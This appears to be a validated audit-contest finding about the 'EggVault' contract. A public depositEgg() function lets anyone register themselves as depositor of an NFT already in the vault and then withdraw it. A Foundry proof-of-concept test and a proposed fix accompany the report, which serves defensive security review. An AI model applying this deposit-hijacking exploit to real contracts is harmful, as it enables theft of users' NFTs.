Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Withdrawals via Poisoned Depositor Mapping

0xriz0

Summary

The EggVault relies on a mapping eggDepositors[tokenId] to authorize NFT withdrawals. This mapping is set via the vulnerable depositEgg() function, and can be manipulated by attackers to enable unauthorized withdrawals.

Vulnerability Details

By spoofing the depositor registration via depositEgg(), an attacker can later call withdrawEgg() and pass the eggDepositors[tokenId] == msg.sender check. This bypasses actual ownership and results in unauthorized withdrawals.

Impact

  • Attackers can withdraw NFTs they never owned.

  • True owners are locked out.

  • Funds can be permanently stolen.

POC

function testUnauthorizedWithdrawalsExploit() public {
// Mint an egg by simulating a call from the game contract.
vm.prank(address(game));
bool success = nft.mintEgg(alice, 1);
assertTrue(success);
// Check that token 1 is owned by alice.
assertEq(nft.ownerOf(1), alice);
// Verify that the totalSupply counter increments.
assertEq(nft.totalSupply(), 1);
​
//Transger egg to vault
vm.prank(alice);
nft.approve(address(vault), 1);
vm.prank(alice);
nft.transferFrom(address(alice), address(vault), 1);
​
// Deposit the egg into the vault.
vm.prank(bob);
vault.depositEgg(1, bob);
// The egg should now be marked as deposited.
assertTrue(vault.isEggDeposited(1));
// The depositor recorded should be alice, but the vault allows for anyone to input depositor
assertEq(vault.eggDepositors(1), bob);
​
// Depositing the same egg again should revert.
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(1, alice);
​
// Withdrawal by someone other than the original depositor should revert.
vm.prank(alice);
vm.expectRevert("Not the original depositor");
vault.withdrawEgg(1);
​
// Correct withdrawal by the depositor.
vm.prank(bob);
vault.withdrawEgg(1);
// After withdrawal, alice should be the owner again.
assertEq(nft.ownerOf(1), bob);
// The stored egg flag should be cleared.
assertFalse(vault.isEggDeposited(1));
// And the depositor mapping should be reset to the zero address.
assertEq(vault.eggDepositors(1), address(0));
}
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testUnauthorizedWithdrawalsExploit() (gas: 203180)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.38ms (1.64ms CPU time)

Tools Used

  • Manual review

  • Foundry test suite

  • Exploit simulation following successful deposit spoofing

Recommendations

  • Make eggDepositors[tokenId] = from only within onERC721Received().

  • Prevent external manipulation of depositor state.

  • Remove all public deposit functions.

- function depositEgg(uint256 tokenId, address depositor) public {
- require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
- require(!storedEggs[tokenId], "Egg already deposited");
- storedEggs[tokenId] = true;
- eggDepositors[tokenId] = depositor;
- emit EggDeposited(depositor, tokenId);
- }
​
+ function onERC721Received(
+ address operator,
+ address from,
+ uint256 tokenId,
+ bytes calldata data
+ ) external override returns (bytes4) {
+ require(msg.sender == address(eggNFT), "Not from expected NFT");
+ require(!storedEggs[tokenId], "Egg already deposited");
+
+ storedEggs[tokenId] = true;
+ eggDepositors[tokenId] = from;
+
+ emit EggDeposited(from, tokenId);
+
+ return this.onERC721Received.selector;
+ }
Updates

Lead Judging Commences

m3dython Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.